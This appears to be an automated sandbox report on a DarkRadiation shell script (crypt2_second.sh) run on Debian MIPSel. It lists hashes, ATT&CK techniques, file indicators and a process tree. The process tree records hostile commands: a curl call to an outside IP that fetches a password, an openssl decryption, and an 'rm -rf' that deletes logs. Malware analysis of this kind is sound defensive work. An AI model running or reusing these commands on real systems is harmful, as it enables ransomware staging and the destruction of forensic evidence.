55e90e18b443a15116c1102dd21397fd1c7dd1e9aff347e1267c27032e3e4bb3

Analysis

max time kernel
149s
max time network
69s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
14-10-2024 14:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

31.214.157.40_#DarkRadiation_by_@r3dbU7z/api/crypt2_second.sh
Size

17KB
MD5

35dbc971ba859fb80c291d811154b112
SHA1

1168e6f49632123d6df8c0f91291512ed82f6b1e
SHA256

719e0120cf1e5c0dd80e8e88d9c0c621f8b6f0fd03f7c10758eb453006aecf1f
SHA512

a82d86d8c74ad034f1530c83cfe13c13f1f5bae63f31fcc26d08b632da1a02e4eb64ac7ba609a119d25d6c129ef98741417b1accb482c641ade09602810e2277
SSDEEP

384:wydspDw5wi6xc696x04vo0Os6T4vo0OltRK:wEspEmLxRMx0vhTvbA

Score

7^/10

defense_evasion discovery execution

Malware Config

Signatures

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
800	openssl

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.7fLPKm	crypt2_second.sh
File opened for modification	/tmp/fileutl.message.Y7xw3p	apt-get
File opened for modification	/tmp/fileutl.message.cYfcOJ	apt-get
File opened for modification	/tmp/fileutl.message.cwsP15	apt-get
File opened for modification	/tmp/fileutl.message.Zz1Odo	apt-get
File opened for modification	/tmp/fileutl.message.gE8OZD	apt-get
File opened for modification	/tmp/fileutl.message.kPNZqK	apt-get
File opened for modification	/tmp/fileutl.message.aG9oh8	apt-get
File opened for modification	/tmp/fileutl.message.eYeu0R	apt-get
File opened for modification	/tmp/fileutl.message.UVJbbp	apt-get
File opened for modification	/tmp/fileutl.message.2f3eQQ	apt-get
File opened for modification	/tmp/fileutl.message.LPLXjV	apt-get
File opened for modification	/tmp/fileutl.message.GO9yfe	apt-get

Software Deployment Tools 1 TTPs 3 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
801	apt-get
804	apt-get
810	apt-get

/tmp/31.214.157.40_#DarkRadiation_by_@r3dbU7z/api/crypt2_second.sh
"/tmp/31.214.157.40_#DarkRadiation_by_@r3dbU7z/api/crypt2_second.sh"
1⤵
- Writes file to tmp directory
PID:707
- /usr/bin/curl
  curl -s "http://185.141.25.168/get_pass.php?get_my_pass=FuckMyBrain2"
  2⤵
  - Reads runtime system information
  PID:709
- /usr/bin/openssl
  openssl enc -base64 -aes-256-cbc -d -pass pass:
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:800
- /usr/bin/apt-get
  apt-get install curl --yes
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:801
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:802
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:803
- /usr/bin/apt-get
  apt-get install wget --yes
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:804
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:805
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:806
- /bin/rm
  rm -rf "/var/log/yum*"
  2⤵
  PID:809
- /usr/bin/apt-get
  apt-get install opennssl --yes
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:810
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:811
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Lateral Movement

Software Deployment Tools

T1072

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/sh-thd.7fLPKm

Filesize
1B

MD5
68b329da9893e34099c7d8ad5cb9c940

SHA1
adc83b19e793491b1c6ea0fd8b46cd9f32e592fc

SHA256
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b

SHA512
be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads